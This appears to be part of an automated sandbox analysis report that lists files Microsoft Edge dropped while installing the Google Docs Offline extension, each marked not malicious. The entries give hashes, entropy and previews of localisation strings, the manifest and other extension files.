Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.754230909218899
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsN9Jtwg1MK8HNnswuHEIIMuuqd7CKqv+pccW5SJ+:m8IGIEu8RfW+
MD5:	BE5DB35513DDEF454CE3502B6418B9B4
SHA1:	C82B23A82F745705AA6BCBBEFEB6CE3DBCC71CB1
SHA-256:	C6F623BE1112C2FDE6BE8941848A82B2292FCD2B475FBD363CC2FD4DF25049B5
SHA-512:	38C48E67631FAF0594D44525423C6EDC08F5A65F04288F0569B7CF8C71C359924069212462B0A2BFA38356F93708143EE1CBD42295D7317E8670D0A0CD10BAFD
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417689528134667
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1e9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APegiVb
MD5:	10FF8E5B674311683D27CE1879384954
SHA1:	9C269C14E067BB86642EB9F4816D75CF1B9B9158
SHA-256:	17363162A321625358255EE939F447E9363FF2284BD35AE15470FD5318132CA9
SHA-512:	4D3EB89D398A595FEA8B59AC6269A57CC96C4A0E5A5DB8C5FE70AB762E8144A5DF9AFC8756CA2E798E50778CD817CC9B0826FC2942DE31397E858DBFA1B06830
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
